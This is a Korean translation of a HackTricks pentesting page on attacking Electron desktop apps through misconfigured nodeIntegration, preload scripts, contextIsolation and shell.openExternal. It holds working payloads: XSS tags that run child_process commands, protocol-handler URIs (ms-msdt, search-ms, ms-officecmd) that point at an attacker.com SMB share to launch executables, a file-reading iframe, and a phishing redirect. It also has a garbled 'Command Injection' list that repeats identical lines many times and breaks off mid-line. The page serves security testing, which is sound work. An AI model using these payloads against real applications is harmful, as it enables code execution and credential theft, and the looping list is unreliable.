hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps
2024-02-10 21:30:13 +00:00
..
electron-contextisolation-rce-via-electron-internal-code.md Translated to Korean 2024-02-10 21:30:13 +00:00
electron-contextisolation-rce-via-ipc.md Translated to Korean 2024-02-10 21:30:13 +00:00
electron-contextisolation-rce-via-preload-code.md Translated to Korean 2024-02-10 21:30:13 +00:00
README.md Translated to Korean 2024-02-10 21:30:13 +00:00

Electron 데스크톱 앱

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

소개

Electron은 로컬 백엔드(NodeJS)와 프론트엔드(Chromium)를 결합한 것입니다. 그러나 현대 브라우저의 일부 보안 메커니즘을 누락하고 있습니다.

일반적으로 electron 앱 코드는 .asar 애플리케이션 내에 있으며, 코드를 얻기 위해 추출해야 합니다:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Electron 앱의 소스 코드에서 packet.json 내부에는 보안 설정이 지정된 main.js 파일을 찾을 수 있습니다.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron에는 2개의 프로세스 유형이 있습니다:

  • 메인 프로세스 (NodeJS에 대한 완전한 액세스 권한을 가짐)
  • 렌더러 프로세스 (보안상의 이유로 NodeJS 액세스가 제한되어야 함)

렌더러 프로세스는 파일을 로드하는 브라우저 창입니다:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

렌더러 프로세스의 설정은 main.js 파일 내부의 메인 프로세스에서 구성할 수 있습니다. 일부 구성은 설정이 올바르게 구성되어 있다면 Electron 애플리케이션이 RCE나 다른 취약점을 얻지 못하도록 합니다.

Electron 애플리케이션은 Node API를 통해 기기에 액세스할 수 있지만 다음과 같이 구성하여 액세스를 방지할 수 있습니다:

  • nodeIntegration - 기본적으로 off입니다. 켜면 렌더러 프로세스에서 Node 기능에 액세스할 수 있습니다.
  • contextIsolation - 기본적으로 on입니다. 켜면 메인과 렌더러 프로세스가 격리되지 않습니다.
  • preload - 기본적으로 비어 있습니다.
  • sandbox - 기본적으로 꺼져 있습니다. 이를 통해 NodeJS가 수행할 수 있는 작업이 제한됩니다.
  • Workers에서의 Node 통합
  • nodeIntegrationInSubframes - 기본적으로 off입니다.
  • **nodeIntegration**이 활성화되면 Electron 애플리케이션 내에서 iframe에 로드된 웹 페이지에서 Node.js API를 사용할 수 있습니다.
  • **nodeIntegration**이 비활성화되면 프리로드가 iframe에 로드됩니다.

구성 예시:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

다음은 여기에서 가져온 원격 코드 실행(RCE) 페이로드 몇 가지입니다:

- **Command Injection**:
  - `require('child_process').exec('COMMAND')`
  - `require('child_process').execSync('COMMAND')`
  - `require('child_process').spawn('COMMAND')`
  - `require('child_process').spawnSync('COMMAND')`
  - `require('child_process').execFile('COMMAND')`
  - `require('child_process').execFileSync('COMMAND')`
  - `require('child_process').execSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').spawnSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', (error, stdout, stderr) => {})`
  - `require('child_process').execFile('COMMAND', (error, stdout, stderr) => {})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})`
  - `require('child_process').exec('COMMAND',
```html
Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

트래픽 캡처

start-main 설정을 수정하여 프록시 사용을 추가합니다. 다음과 같이 프록시를 사용할 수 있습니다:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron 로컬 코드 삽입

Electron 앱을 로컬에서 실행할 수 있다면 임의의 JavaScript 코드를 실행할 수 있습니다. 다음에서 확인하세요:

{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %} macos-electron-applications-injection.md {% endcontent-ref %}

RCE: XSS + nodeIntegration

만약 nodeIntegrationon으로 설정되어 있다면, 웹 페이지의 JavaScript는 require()를 호출함으로써 쉽게 Node.js 기능을 사용할 수 있습니다. 예를 들어, Windows에서 calc 애플리케이션을 실행하는 방법은 다음과 같습니다:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

이 설정에 표시된 스크립트는 렌더러에서 다른 스크립트보다 먼저 로드되므로 Node API에 무제한 액세스가 가능합니다:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

따라서, 스크립트는 노드 기능을 페이지로 내보낼 수 있습니다:

{% code title="preload.js" %}

typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};

{% code title="index.html" %}

<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

{% endcode %}

{% hint style="info" %} contextIsolation이 켜져 있으면 작동하지 않습니다. {% endhint %}

RCE: XSS + contextIsolation

_contextIsolation_은 웹 페이지 스크립트와 JavaScript Electron의 내부 코드 간에 분리된 컨텍스트를 도입하여 각 코드의 JavaScript 실행이 서로에게 영향을 주지 않도록 합니다. 이는 RCE 가능성을 제거하기 위한 필수 기능입니다.

컨텍스트가 분리되지 않은 경우 공격자는 다음을 수행할 수 있습니다:

  1. 렌더러에서 임의의 JavaScript 실행 (XSS 또는 외부 사이트로의 이동)
  2. preload 또는 Electron 내부 코드에서 사용되는 내장 메소드 덮어쓰기
  3. 덮어쓴 함수의 사용 유도
  4. RCE?

내장 메소드를 덮어쓸 수 있는 곳은 2곳 있습니다: preload 코드 또는 Electron 내부 코드에서:

{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %} electron-contextisolation-rce-via-preload-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %} electron-contextisolation-rce-via-electron-internal-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-ipc.md" %} electron-contextisolation-rce-via-ipc.md {% endcontent-ref %}

클릭 이벤트 우회

링크를 클릭할 때 제한이 적용되어 있는 경우 일반적인 왼쪽 클릭 대신 중간 클릭을 수행하여 우회할 수 있을 수 있습니다.

window.addEventListener('click', (e) => {

shell.openExternal을 통한 원격 코드 실행 (RCE)

이 예제에 대한 자세한 내용은 https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8https://benjamin-altpeter.de/shell-openexternal-dangers/에서 확인할 수 있습니다.

Electron 데스크톱 애플리케이션을 배포할 때, nodeIntegrationcontextIsolation의 올바른 설정을 보장하는 것이 중요합니다. 이러한 설정이 적용되면, preload 스크립트나 Electron의 메인 프로세스에서 클라이언트 측 원격 코드 실행 (RCE)을 효과적으로 방지할 수 있습니다.

사용자가 링크를 상호작용하거나 새 창을 열 때, 특정 이벤트 리스너가 트리거되며, 이는 애플리케이션의 보안과 기능에 중요합니다:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

이러한 리스너는 데스크톱 애플리케이션에 의해 덮어쓰여지며, 비즈니스 로직을 구현하기 위해 사용됩니다. 애플리케이션은 탐색된 링크가 내부적으로 열려야 할지 외부 웹 브라우저에서 열려야 할지를 판단합니다. 이 결정은 일반적으로 openInternally 함수를 통해 이루어집니다. 이 함수가 false를 반환하면, 링크는 shell.openExternal 함수를 사용하여 외부에서 열리도록 설정됩니다.

다음은 단순화된 의사 코드입니다:

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Electron JS 보안 모범 사례는 openExternal 함수를 통해 신뢰할 수 없는 콘텐츠를 받아들이지 않는 것을 권장합니다. 이는 다양한 프로토콜을 통해 RCE(원격 코드 실행)로 이어질 수 있기 때문입니다. 운영 체제는 RCE를 유발할 수 있는 다양한 프로토콜을 지원합니다. 이 주제에 대한 자세한 예시와 설명은 이 자료를 참조할 수 있습니다. 해당 자료에는 이 취약점을 악용할 수 있는 Windows 프로토콜 예시가 포함되어 있습니다.

Windows 프로토콜 취약점 예시:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

내부 파일 읽기: XSS + contextIsolation

contextIsolation을 비활성화하면 <webview> 태그를 사용하여 로컬 파일을 읽고 유출할 수 있습니다. 다음은 이 취약점을 악용하여 내부 파일의 내용을 읽는 방법을 보여주는 예시입니다:

또한, Electron 데스크톱 앱에서 내부 파일을 읽는 또 다른 방법이 공유되었습니다. 이는 애플리케이션을 악용하고 데이터를 유출하기 위해 스크립트를 주입하는 것을 포함합니다:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + 오래된 Chromium

만약 애플리케이션에서 사용하는 chromium오래되었고 그 위에 알려진 취약점이 있다면, XSS를 통해 RCE를 얻을 수도 있습니다.
writeup에서 예제를 볼 수 있습니다: https://blog.electrovolt.io/posts/discord-rce/

내부 URL 정규식 우회를 통한 XSS 피싱

XSS를 찾았지만 RCE를 실행하거나 내부 파일을 도용할 수 없는 경우, 이를 이용하여 피싱을 통해 자격증명을 도용해 볼 수 있습니다.

먼저, 프론트엔드의 JS 코드를 확인하여 새로운 URL을 열려고 할 때 어떤 일이 발생하는지 알아야 합니다:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

openInternally 함수 호출은 링크가 플랫폼에 속하는 링크인 경우 데스크톱 창에서 열지 아니면 3rd party 자원으로 브라우저에서 열지를 결정합니다.

함수에서 사용하는 정규식이 우회를 허용하는 취약점을 가지고 있다면 (예: 서브도메인의 점을 이스케이프하지 않음), 공격자는 XSS를 악용하여 사용자에게 자격 증명을 요청하는 공격자의 인프라에 위치한 새 창을 열 수 있습니다:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

도구

  • Electronegativity는 Electron 기반 애플리케이션에서 구성 오류와 보안 안티 패턴을 식별하는 도구입니다.
  • Electrolint는 Electronegativity를 사용하는 Electron 애플리케이션을 위한 오픈 소스 VS Code 플러그인입니다.
  • nodejsscan은 취약한 타사 라이브러리를 확인하기 위한 도구입니다.
  • Electro.ng: 구매해야 합니다.

https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s에서 취약한 Electron 앱을 공격하는 랩을 찾을 수 있습니다.

랩을 수행하는 데 도움이 될 몇 가지 명령어:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법: